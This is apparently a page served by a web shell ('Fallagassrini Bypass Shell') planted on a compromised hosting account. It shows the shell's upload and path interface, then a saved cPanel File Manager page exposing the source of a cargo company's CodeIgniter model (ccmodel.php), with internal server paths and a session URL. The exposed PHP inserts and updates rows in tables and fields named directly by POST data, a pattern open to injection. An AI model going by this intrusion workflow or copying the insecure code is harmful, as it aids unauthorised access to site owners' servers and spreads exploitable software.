? Fallagassrini

Fallagassrini Bypass Shell

echo"
Fallagassrini
";
Current Path : /home1/savoy/www/savoyglobal.net/sec_old/assets/js/

Linux gator3171.hostgator.com 4.19.286-203.ELK.el7.x86_64 #1 SMP Wed Jun 14 04:33:55 CDT 2023 x86_64
Upload File :
Current File : /home1/savoy/www/savoyglobal.net/sec_old/assets/js/cPanel X - File Manager.html

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd">
<!-- saved from url=(0225)http://otscargo.com:2082/cpsess3321537138/frontend/x3/filemanager/editit.html?file=ccmodel.php&fileop=&dir=%2Fhome4%2Fotscargo%2Fpublic_html%2Fois%2Fapplication%2Fmodels&dirop=&charset=&file_charset=_DETECT_&baseurl=&basedir= -->
<html><head><meta http-equiv="Content-Type" content="text/html; charset=UTF-8">
<title>cPanel X - File Manager</title>



<link rel="stylesheet" href="http://otscargo.com:2082/cPanel_magic_revision_1393409095/frontend/x3/css/combined_optimized.css">
<link rel="stylesheet" href="http://otscargo.com:2082/cPanel_magic_revision_1349159005/frontend/x3/filemanager/css/tree_styles2_optimized.css">

<link href="./cPanel X - File Manager_files/local.css" rel="stylesheet" type="text/css">
<script type="text/javascript" src="./cPanel X - File Manager_files/utilities_container.js"></script>
<script type="text/javascript" src="./cPanel X - File Manager_files/cpanel-all-min-en.js"></script>
<script type="text/javascript" src="./cPanel X - File Manager_files/filemanager_editors_optimized.js"></script>

<link rel="stylesheet" type="text/css" href="./cPanel X - File Manager_files/ajaxapp-min.css">
<!--[if IE 6]>
<link rel="stylesheet" type="text/css" href="/cPanel_magic_revision_1335423820/cjt/css/ajaxapp_ie6.css" />
<![endif]-->


<style type="text/css">
.input-button {
    white-space: nowrap;
}

/* IE <=8 doesn't widen the button for <img>s inside <button>s. */
.input-button img {
    display:none;
}
.input-button img:not(old_ie) {
    display:inline;
}

html, body, #maintbl {
    height: 100%;
    width: 100%;
    margin: 0;
    padding: 0;
    background: none !important;
}

form { margin: 0 }

#switch_editor_control img {
    vertical-align: middle;
}

#codewindow {
    margin:0;
    width: 100%;
    border:0;
}

#maintbl, #maintbl tr, #maintbl td {
    margin:0;
    padding:0;
    border-collapse: collapse;
    border: none;
}

#maintbl td#codewindow_container {
    padding: 0 0 0 3px;
}

#tcell, #page {
    height: 100%;
    width: 100%;
    margin: 0;
    padding: 0;
    border: 0;
}
#closebutton {
    padding-right: 5px;
    margin-right: 5px;
    margin-top: 10px;
}
#helpDiv {
    margin-bottom: 10px;
}
.cjt_progress_overlay .bd {
    background: transparent;
}

.spriteui_img{margin:0;padding:0;background:url(/cPanel_magic_revision_59205646574.4731/branding/x3/HG/ui_sprites_img_skip_filetype_gif.jpg);}  #ui-aqua-hd-lt{background-position:0 -1px;width:7px;height:22px;}#ui-aqua-hd-rt{background-position:0 -25px;width:7px;height:22px;}.spriteui_img_trans{position:relative;margin:0;padding:0;top:0px;float:left;background:url(/cPanel_magic_revision_88401348120.6391/branding/x3/HG/ui_sprites_img_only_filetype_gif.gif);} #ui-accept{background-position:0 -0px;width:16px;height:16px;}#ui-collapse{background-position:0 -16px;width:14px;height:14px;}#ui-expand{background-position:0 -30px;width:14px;height:14px;}#ui-getstart-icon{background-position:0 -44px;width:72px;height:72px;}#ui-homeb{background-position:0 -116px;width:20px;height:19px;}#ui-reject{background-position:0 -135px;width:16px;height:16px;}#ui-start32{background-position:0 -151px;width:32px;height:32px;}#ui-stop32{background-position:0 -183px;width:32px;height:32px;}#ui-x3-hd-close{background-position:0 -215px;width:16px;height:16px;}#ui-x3-hd-closehover{background-position:0 -231px;width:16px;height:16px;}.spriteui_bg{position:relative;margin:0;padding:0;top:0px;float:left;background:url(/cPanel_magic_revision_28841735049.3334/branding/x3/HG/ui_sprites_bg_snap_to_smallest_width.png);}#ui-aqua-hd-bg{background-position:0 -0px;width:18px;height:22px;}#ui-button-bg{background-position:0 -322px;width:1px;height:22px;}#ui-button-bg-over{background-position:0 -644px;width:1px;height:22px;}#ui-tbl-bg{background-position:0 -966px;width:5px;height:23px;}#ui-tbl-bg-over{background-position:0 -1289px;width:509px;height:21px;}.spriteheading_compleximg{position:relative;margin:0;padding:0;top:0px;float:left;background:url(/cPanel_magic_revision_76321801876.6785/branding/x3/HG/heading_sprites_compleximg.jpg) no-repeat;}#heading-top-billboard{background-position:0 -1px;width:742px;height:145px;}.spriteheading_img{position:relative;margin:0;padding:0;top:0px;float:left;background:url(/cPanel_magic_revision_17836112047.2839/branding/x3/HG/heading_sprites_img.gif);}#heading-help_off{background-position:0 -0px;width:37px;height:37px;}#heading-help_on{background-position:0 -37px;width:37px;height:37px;}#heading-home_off{background-position:0 -74px;width:37px;height:37px;}#heading-home_on{background-position:0 -111px;width:37px;height:37px;}#heading-logout_off{background-position:0 -148px;width:37px;height:37px;}#heading-logout_on{background-position:0 -185px;width:37px;height:37px;}.spriteheading_bg{position:relative;top:0px;left:0px;margin:0;padding:0;background:url(/cPanel_magic_revision_32402706714.1632/branding/x3/HG/heading_sprites_bg_snap_to_smallest_width.png) repeat-x;}#heading-bottom_bg{background-position:0 -0px;height:23px;}#heading-top-header-bg{background-position:0 -323px;height:145px;}.box-expand-control{cursor:pointer;cursor:hand;background:url(/cPanel_magic_revision_88401348120.6391/branding/x3/HG/ui_sprites_img_only_filetype_gif.gif) repeat;background-position:0 -30px;width:14px;height:14px;}.box-collapse-control{cursor:pointer;cursor:hand;background:url(/cPanel_magic_revision_88401348120.6391/branding/x3/HG/ui_sprites_img_only_filetype_gif.gif) repeat;background-position:0 -16px;width:14px;height:14px;}.create-button, .input-button{background-image:url(/cPanel_magic_revision_28841735049.3334/branding/x3/HG/ui_sprites_bg_snap_to_smallest_width.png); background-repeat: repeat-x;}.create-button, .input-button{ background-position:0 -322px;height:22px; }.create-button:hover, .input-button:hover{background-image:url(/cPanel_magic_revision_28841735049.3334/branding/x3/HG/ui_sprites_bg_snap_to_smallest_width.png); background-repeat: repeat-x;}.create-button:hover, .input-button:hover{ background-position:0 -644px;height:22px; }body{background-image:url(/cPanel_magic_revision_28841735049.3334/branding/x3/HG/ui_sprites_bg_snap_to_smallest_width.png); background-repeat: repeat-x;}h3, h6, #notices h6, #quota-warnings h6, #content-stats h6{background:url(/cPanel_magic_revision_28841735049.3334/branding/x3/HG/ui_sprites_bg_snap_to_smallest_width.png) bottom repeat-x;}h3, h6, #notices h6, #quota-warnings h6, #content-stats h6{background-position:0 -966px;}
 

.yui-panel .tl,.yui-panel .lt,.panel .tl,.panel .lt {background: url(/cPanel_magic_revision_59205646574.4731/branding/x3/HG/ui_sprites_img_skip_filetype_gif.jpg) repeat;background-position:0 -1px;width:7px;height:22px;} .yui-panel .tr,.yui-panel .rt,.panel .tr,.panel .rt {background: url(/cPanel_magic_revision_59205646574.4731/branding/x3/HG/ui_sprites_img_skip_filetype_gif.jpg) repeat;background-position:0 -25px;width:7px;height:22px;} .yui-panel .container-close:hover,.panel .close:hover,.panel .close.secure:hover,.panel .close.nonsecure:hover {background:url(/cPanel_magic_revision_88401348120.6391/branding/x3/HG/ui_sprites_img_only_filetype_gif.gif) repeat;background-position:0 -231px;width:16px;height:16px;} .yui-panel .container-close,.panel .close,.panel .close.secure,.panel .close.nonsecure {background:url(/cPanel_magic_revision_88401348120.6391/branding/x3/HG/ui_sprites_img_only_filetype_gif.gif) repeat;background-position:0 -215px;width:16px;height:16px;} .fm-panel .container-close:hover,.panel .close:hover,.panel .close.secure:hover,.panel .close.nonsecure:hover {background:url(/cPanel_magic_revision_88401348120.6391/branding/x3/HG/ui_sprites_img_only_filetype_gif.gif) repeat;} .fm-panel .container-close,.panel .close,.panel .close.secure,.panel .close.nonsecure {background:url(/cPanel_magic_revision_88401348120.6391/branding/x3/HG/ui_sprites_img_only_filetype_gif.gif) repeat;}



/* Suppress inherited styles from global style sheets. */
.yui-panel .hd,
.yui-panel .bd,
.yui-panel .ft {
    background-image: none;
    font-size: 100%;
}
textarea {
    font-size: 1.2em;
    font-family: monospace;
}

/* overrides from tree_styles2_optimized.css */
p {
    line-height: normal;
}
.input-button, .input-button:hover {
    height: auto;
}
</style>

<!--[if IE]>
<style type="text/css">
#codewindow {
    width: 99.5%;
}
</style>
<![endif]-->

<script type="text/javascript" src="./cPanel X - File Manager_files/en.js" charset="UTF-8"></script><script type="text/javascript" src="./cPanel X - File Manager_files/php.js" charset="UTF-8"></script></head>
<body class="nomargins yui-skin-sam"><iframe id="_yuiResizeMonitor" title="Text Resize Monitor" tabindex="-1" role="presentation" style="position: absolute; visibility: visible; background-color: transparent; border-width: 0px; width: 2em; height: 2em; left: 0px; top: -23px;"></iframe><div class="mask" id="yui-gen0_mask" style="z-index: 2499; height: 583px; width: 1366px; display: none;">&nbsp;</div><div class="yui-panel-container cjt-progress-overlay throbber cjt_progress_panel_container yui-overlay-hidden" id="yui-gen0_c" style="z-index: 2500; visibility: hidden; left: 548px; top: 262px; overflow: hidden;"><div id="yui-gen0" class="yui-module yui-overlay yui-panel cjt_progress_panel" style="visibility: inherit;"><input style="position: absolute; top: 1px; outline: 0px; margin: 0px; border: 0px; padding: 0px; height: 1px; width: 1px; z-index: -1; opacity: 0;"><button tabindex="-1" style="height: 1px; width: 1px; position: absolute; left: -10000em; opacity: 0;"></button><div class="bd" id="yui-gen1" style="border: 0px;"><div class="cjt-progress-overlay-body-liner"><div class="loader-tool"><div class="loader"></div></div><div class="cjt-progress-overlay-text-container"><span class="cjt-progress-overlay-text cjt-fading-text-field">Saving “ccmodel.php”…</span></div></div></div><input style="position: absolute; top: 1px; outline: 0px; margin: 0px; border: 0px; padding: 0px; height: 1px; width: 1px; z-index: -1; opacity: 0;"></div></div>
<form action="javascript:void(0)" name="sform" onsubmit="loadfdata(&#39;sform_submit&#39;); return false;">
<table border="0" id="maintbl" cellpadding="0" cellspacing="0">
<tbody><tr style="background-color: #cccccc;">
 <td height="29" style="height: 26px;">
    <div style="float:left; width:70%; padding-left:5px;">
    <label style="font-weight: 900; font-size:13px;">Editing:
    <input style="width:40%;height:24px;" id="path" name="path" value="/home4/otscargo/public_html/ois/application/models/ccmodel.php"></label>
    <label style="font-weight: 900; font-size:13px;">Encoding:
        <select id="charset" name="charset">
        
        <option value="ansi_x3.110-1983">ansi_x3.110-1983</option><option value="ansi_x3.4-1968">ansi_x3.4-1968</option><option value="armscii-8">armscii-8</option><option value="asmo_449">asmo_449</option><option value="big5">big5</option><option value="big5-hkscs">big5-hkscs</option><option value="brf">brf</option><option value="bs_4730">bs_4730</option><option value="bs_viewdata">bs_viewdata</option><option value="cp10007">cp10007</option><option value="cp1125">cp1125</option><option value="cp1250">cp1250</option><option value="cp1253">cp1253</option><option value="cp1254">cp1254</option><option value="cp1255">cp1255</option><option value="cp1256">cp1256</option><option value="cp1257">cp1257</option><option value="cp1258">cp1258</option><option value="cp737">cp737</option><option value="cp775">cp775</option><option value="csa_z243.4-1985-1">csa_z243.4-1985-1</option><option value="csa_z243.4-1985-2">csa_z243.4-1985-2</option><option value="csa_z243.4-1985-gr">csa_z243.4-1985-gr</option><option value="csn_369103">csn_369103</option><option value="cwi">cwi</option><option value="dec-mcs">dec-mcs</option><option value="din_66003">din_66003</option><option value="ds_2089">ds_2089</option><option value="ebcdic-at-de">ebcdic-at-de</option><option value="ebcdic-at-de-a">ebcdic-at-de-a</option><option value="ebcdic-ca-fr">ebcdic-ca-fr</option><option value="ebcdic-dk-no">ebcdic-dk-no</option><option value="ebcdic-dk-no-a">ebcdic-dk-no-a</option><option value="ebcdic-es">ebcdic-es</option><option value="ebcdic-es-a">ebcdic-es-a</option><option value="ebcdic-es-s">ebcdic-es-s</option><option value="ebcdic-fi-se">ebcdic-fi-se</option><option value="ebcdic-fi-se-a">ebcdic-fi-se-a</option><option value="ebcdic-fr">ebcdic-fr</option><option value="ebcdic-is-friss">ebcdic-is-friss</option><option value="ebcdic-it">ebcdic-it</option><option value="ebcdic-pt">ebcdic-pt</option><option value="ebcdic-uk">ebcdic-uk</option><option value="ebcdic-us">ebcdic-us</option><option value="ecma-cyrillic">ecma-cyrillic</option><option value="es">es</option><option value="es2">es2</option><option value="euc-jisx0213">euc-jisx0213</option><option value="euc-jp">euc-jp</option><option value="euc-jp-ms">euc-jp-ms</option><option value="euc-kr">euc-kr</option><option value="euc-tw">euc-tw</option><option value="gb18030">gb18030</option><option value="gb2312">gb2312</option><option value="gb_1988-80">gb_1988-80</option><option value="gbk">gbk</option><option value="georgian-academy">georgian-academy</option><option value="georgian-ps">georgian-ps</option><option value="gost_19768-74">gost_19768-74</option><option value="greek-ccitt">greek-ccitt</option><option value="greek7">greek7</option><option value="greek7-old">greek7-old</option><option value="gsm03.38">gsm03.38</option><option value="hp-greek8">hp-greek8</option><option value="hp-roman8">hp-roman8</option><option value="hp-roman9">hp-roman9</option><option value="hp-thai8">hp-thai8</option><option value="hp-turkish8">hp-turkish8</option><option value="hz-gb-2312">hz-gb-2312</option><option value="ibm037">ibm037</option><option value="ibm038">ibm038</option><option value="ibm1004">ibm1004</option><option value="ibm1026">ibm1026</option><option value="ibm1047">ibm1047</option><option value="ibm1124">ibm1124</option><option value="ibm1129">ibm1129</option><option value="ibm1132">ibm1132</option><option value="ibm1133">ibm1133</option><option value="ibm1160">ibm1160</option><option value="ibm1161">ibm1161</option><option value="ibm1162">ibm1162</option><option value="ibm1163">ibm1163</option><option value="ibm1164">ibm1164</option><option value="ibm256">ibm256</option><option value="ibm273">ibm273</option><option value="ibm274">ibm274</option><option value="ibm275">ibm275</option><option value="ibm277">ibm277</option><option value="ibm278">ibm278</option><option value="ibm280">ibm280</option><option value="ibm281">ibm281</option><option value="ibm284">ibm284</option><option value="ibm285">ibm285</option><option value="ibm290">ibm290</option><option value="ibm297">ibm297</option><option value="ibm420">ibm420</option><option value="ibm423">ibm423</option><option value="ibm424">ibm424</option><option value="ibm437">ibm437</option><option value="ibm500">ibm500</option><option value="ibm850">ibm850</option><option value="ibm851">ibm851</option><option value="ibm852">ibm852</option><option value="ibm855">ibm855</option><option value="ibm856">ibm856</option><option value="ibm857">ibm857</option><option value="ibm860">ibm860</option><option value="ibm861">ibm861</option><option value="ibm862">ibm862</option><option value="ibm863">ibm863</option><option value="ibm864">ibm864</option><option value="ibm865">ibm865</option><option value="ibm866">ibm866</option><option value="ibm866nav">ibm866nav</option><option value="ibm868">ibm868</option><option value="ibm869">ibm869</option><option value="ibm870">ibm870</option><option value="ibm871">ibm871</option><option value="ibm874">ibm874</option><option value="ibm875">ibm875</option><option value="ibm880">ibm880</option><option value="ibm891">ibm891</option><option value="ibm903">ibm903</option><option value="ibm904">ibm904</option><option value="ibm905">ibm905</option><option value="ibm918">ibm918</option><option value="ibm922">ibm922</option><option value="iec_p27-1">iec_p27-1</option><option value="inis">inis</option><option value="inis-8">inis-8</option><option value="inis-cyrillic">inis-cyrillic</option><option value="invariant">invariant</option><option value="isiri-3342">isiri-3342</option><option value="iso-8859-1">iso-8859-1</option><option value="iso-8859-10">iso-8859-10</option><option value="iso-8859-11">iso-8859-11</option><option value="iso-8859-13">iso-8859-13</option><option value="iso-8859-14">iso-8859-14</option><option value="iso-8859-15">iso-8859-15</option><option value="iso-8859-16">iso-8859-16</option><option value="iso-8859-2">iso-8859-2</option><option value="iso-8859-3">iso-8859-3</option><option value="iso-8859-4">iso-8859-4</option><option value="iso-8859-5">iso-8859-5</option><option value="iso-8859-6">iso-8859-6</option><option value="iso-8859-7">iso-8859-7</option><option value="iso-8859-8">iso-8859-8</option><option value="iso-8859-9">iso-8859-9</option><option value="iso-8859-9e">iso-8859-9e</option><option value="iso-ir-197">iso-ir-197</option><option value="iso-ir-209">iso-ir-209</option><option value="iso-ir-90">iso-ir-90</option><option value="iso_10367-box">iso_10367-box</option><option value="iso_10646">iso_10646</option><option value="iso_11548-1">iso_11548-1</option><option value="iso_2033-1983">iso_2033-1983</option><option value="iso_5427">iso_5427</option><option value="iso_5427-ext">iso_5427-ext</option><option value="iso_5428">iso_5428</option><option value="iso_646.basic">iso_646.basic</option><option value="iso_646.irv">iso_646.irv</option><option value="iso_6937">iso_6937</option><option value="iso_6937-2-25">iso_6937-2-25</option><option value="iso_6937-2-add">iso_6937-2-add</option><option value="iso_8859-1,gl">iso_8859-1,gl</option><option value="iso_8859-supp">iso_8859-supp</option><option value="it">it</option><option value="jis_c6220-1969-jp">jis_c6220-1969-jp</option><option value="jis_c6220-1969-ro">jis_c6220-1969-ro</option><option value="jis_c6229-1984-a">jis_c6229-1984-a</option><option value="jis_c6229-1984-b">jis_c6229-1984-b</option><option value="jis_c6229-1984-b-add">jis_c6229-1984-b-add</option><option value="jis_c6229-1984-hand">jis_c6229-1984-hand</option><option value="jis_c6229-1984-hand-add">jis_c6229-1984-hand-add</option><option value="jis_c6229-1984-kana">jis_c6229-1984-kana</option><option value="jis_x0201">jis_x0201</option><option value="johab">johab</option><option value="jus_i.b1.002">jus_i.b1.002</option><option value="jus_i.b1.003-mac">jus_i.b1.003-mac</option><option value="jus_i.b1.003-serb">jus_i.b1.003-serb</option><option value="koi-8">koi-8</option><option value="koi8-r">koi8-r</option><option value="koi8-ru">koi8-ru</option><option value="koi8-t">koi8-t</option><option value="koi8-u">koi8-u</option><option value="ks_c_5601-1987">ks_c_5601-1987</option><option value="ksc5636">ksc5636</option><option value="latin-greek">latin-greek</option><option value="latin-greek-1">latin-greek-1</option><option value="mac-centraleurope">mac-centraleurope</option><option value="mac-cyrillic">mac-cyrillic</option><option value="mac-is">mac-is</option><option value="mac-sami">mac-sami</option><option value="mac-uk">mac-uk</option><option value="macintosh">macintosh</option><option value="mik">mik</option><option value="msz_7795.3">msz_7795.3</option><option value="nats-dano">nats-dano</option><option value="nats-dano-add">nats-dano-add</option><option value="nats-sefi">nats-sefi</option><option value="nats-sefi-add">nats-sefi-add</option><option value="nc_nc00-10">nc_nc00-10</option><option value="nextstep">nextstep</option><option value="nf_z_62-010">nf_z_62-010</option><option value="nf_z_62-010_1973">nf_z_62-010_1973</option><option value="ns_4551-1">ns_4551-1</option><option value="ns_4551-2">ns_4551-2</option><option value="pt">pt</option><option value="pt154">pt154</option><option value="pt2">pt2</option><option value="rk1048">rk1048</option><option value="sami">sami</option><option value="sami-ws2">sami-ws2</option><option value="sen_850200_b">sen_850200_b</option><option value="sen_850200_c">sen_850200_c</option><option value="shift_jis">shift_jis</option><option value="shift_jisx0213">shift_jisx0213</option><option value="t.101-g2">t.101-g2</option><option value="t.61-7bit">t.61-7bit</option><option value="t.61-8bit">t.61-8bit</option><option value="tcvn5712-1">tcvn5712-1</option><option value="tis-620">tis-620</option><option value="tscii">tscii</option><option value="us-ascii">us-ascii</option><option value="utf-7">utf-7</option><option value="utf-8" selected="">utf-8</option><option value="videotex-suppl">videotex-suppl</option><option value="viscii">viscii</option><option value="windows-1251">windows-1251</option><option value="windows-1252">windows-1252</option><option value="windows-31j">windows-31j</option>
        
        </select>
    </label>
    <input type="button" onclick="loadfile(this);" class="input-button" value="Re-open">
    </div>
    <div style="float:right;padding-right:5px">
        <button type="button" class="input-button" id="switch_editor_control" onclick="try {toggle_EditArea(this)} catch(e) {} return false">

<img width="16" src="./cPanel X - File Manager_files/codeEditorB.gif">
Use code editor

        </button>
        &nbsp;
        <input type="button" onclick="confirm_close(this);" class="input-button" value="Close">
        <button type="submit" id="sform_submit" class="input-button" style="font-weight:bold">Save Changes</button>
    </div>
 </td>
</tr>
<tr>
 <td id="codewindow_container">
    <textarea id="codewindow" class="codepress php" wrap="soft" name="page" style="width: 1363px; height: 555px;">&lt;?php

if (!defined('BASEPATH'))
    exit('No direct script access allowed');

class Ccmodel extends CI_Model {

    function __construct() {
        // Call the Model constructor
        parent::__construct();
    }

    function add($postdata) {
        $data = array();
        $data['resfunction'] = $postdata['resfunction'];
        $table = $postdata['tab_name'];
        unset($postdata['tab_name']);
        unset($postdata['resfunction']);
        $res = $this-&gt;db-&gt;insert($table, $postdata);
        $cnt = $this-&gt;db-&gt;insert_id();
        if ($res &gt; 0) {
            $data['res'] = 1;
            $data['msg'] = 'Record Added Successfully';
        } else {
            $data['res'] = 0;
            $data['msg'] = 'Error On Adding Record';
        }
        return $data;
    }

    function update($postdata) {
        $data = array();
        $data['resfunction'] = $postdata['resfunction'];
        $table = $postdata['tab_name'];
        $field = $postdata['tab_field'];
        $id = $postdata['tab_id'];
        unset($postdata['resfunction']);
        unset($postdata['tab_name']);
        unset($postdata['tab_field']);
        unset($postdata['tab_id']);
        $this-&gt;db-&gt;where($field, $id);
        $res = $this-&gt;db-&gt;update($table, $postdata);
        if ($res &gt; 0) {
            $data['res'] = 1;
            $data['msg'] = 'Record Updated Successfully';
        } else {
            $data['res'] = 0;
            $data['msg'] = 'Error On updating Record';
        }
        return $data;
    }

    /* Search function starts here */

    function search_empty($pagenum) {
        $data = array();
        $data['startpage'] = '';
        $data['endpage'] = '';
        $data['count'] = '';
        $data['results'] = '';
        return $data;
    }

    function search_cc_enquiry($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_enquiry');
        $this-&gt;db-&gt;join('master', 'master_id=cc_enquiry_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_enquiry_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_enquiry_port_id');
        $this-&gt;db-&gt;where('cc_enquiry_status', "Active");
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_enquiry_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_enquiry_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_enquiry');
        $this-&gt;db-&gt;join('master', 'master_id=cc_enquiry_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_enquiry_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_enquiry_port_id');
        $this-&gt;db-&gt;where('cc_enquiry_status', "Active");
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_enquiry_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_enquiry_closed($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_enquiry');
        $this-&gt;db-&gt;join('master', 'master_id=cc_enquiry_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_enquiry_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_enquiry_port_id');
        $this-&gt;db-&gt;where('cc_enquiry_status', "Closed");
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_enquiry_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_enquiry_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_enquiry');
        $this-&gt;db-&gt;join('master', 'master_id=cc_enquiry_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_enquiry_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_enquiry_port_id');
        $this-&gt;db-&gt;where('cc_enquiry_status', "Closed");
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_enquiry_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_enquiry_canceled($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_enquiry');
        $this-&gt;db-&gt;join('master', 'master_id=cc_enquiry_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_enquiry_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_enquiry_port_id');
        $this-&gt;db-&gt;where('cc_enquiry_status', "Canceled");
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_enquiry_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_enquiry_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_enquiry');
        $this-&gt;db-&gt;join('master', 'master_id=cc_enquiry_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_enquiry_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_enquiry_port_id');
        $this-&gt;db-&gt;where('cc_enquiry_status', "Canceled");
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_enquiry_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

    function search_cc_quotation($pagenum) {
        $data = array();
        $this-&gt;db-&gt;from('cc_quotation');
        $this-&gt;db-&gt;join('master', 'master_id=cc_quotation_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_quotation_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_quotation_port_id');
        $this-&gt;db-&gt;where('cc_quotation_status', "Active");
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }

        $postdata = $_SESSION['searchdata'];

        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_quotation_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $count = $this-&gt;db-&gt;count_all_results();
        $arr = $this-&gt;fpaginate-&gt;paginate($pagenum, $count);
        $data['startpage'] = $arr[0];
        $data['endpage'] = $arr[1];
        $start = $arr[2];
        $perpage = $arr[3];
        $data['count'] = $count;
        if (!empty($postdata)) {
            $searchtext = $postdata['searchtext'];
            $searchfield = $postdata['searchopt'];
            if ($searchfield == 'cc_quotation_date') {
                $searchtext = $this-&gt;mastermodel-&gt;convdatformat($searchtext);
            }
            $this-&gt;db-&gt;like($searchfield, $searchtext);
        }
        $this-&gt;db-&gt;select('*');
        $this-&gt;db-&gt;from('cc_quotation');
        $this-&gt;db-&gt;join('master', 'master_id=cc_quotation_id');
        $this-&gt;db-&gt;join('customer', 'customer.customer_id=cc_quotation_customer_id');
        $this-&gt;db-&gt;join('port', 'port.port_id=cc_quotation_port_id');
        $this-&gt;db-&gt;where('cc_quotation_status', "Active");
        if ($_SESSION['user_type'] == 0 &amp;&amp; $_SESSION['public_private'] == 0) {
            $this-&gt;db-&gt;where('master.branch_id', $_SESSION['employee_branch_id']);
        }
        $this-&gt;db-&gt;limit($perpage, $start);
        $this-&gt;db-&gt;order_by('cc_quotation_id', 'desc');
        $data['results'] = $this-&gt;db-&gt;get();
        return $data;
    }

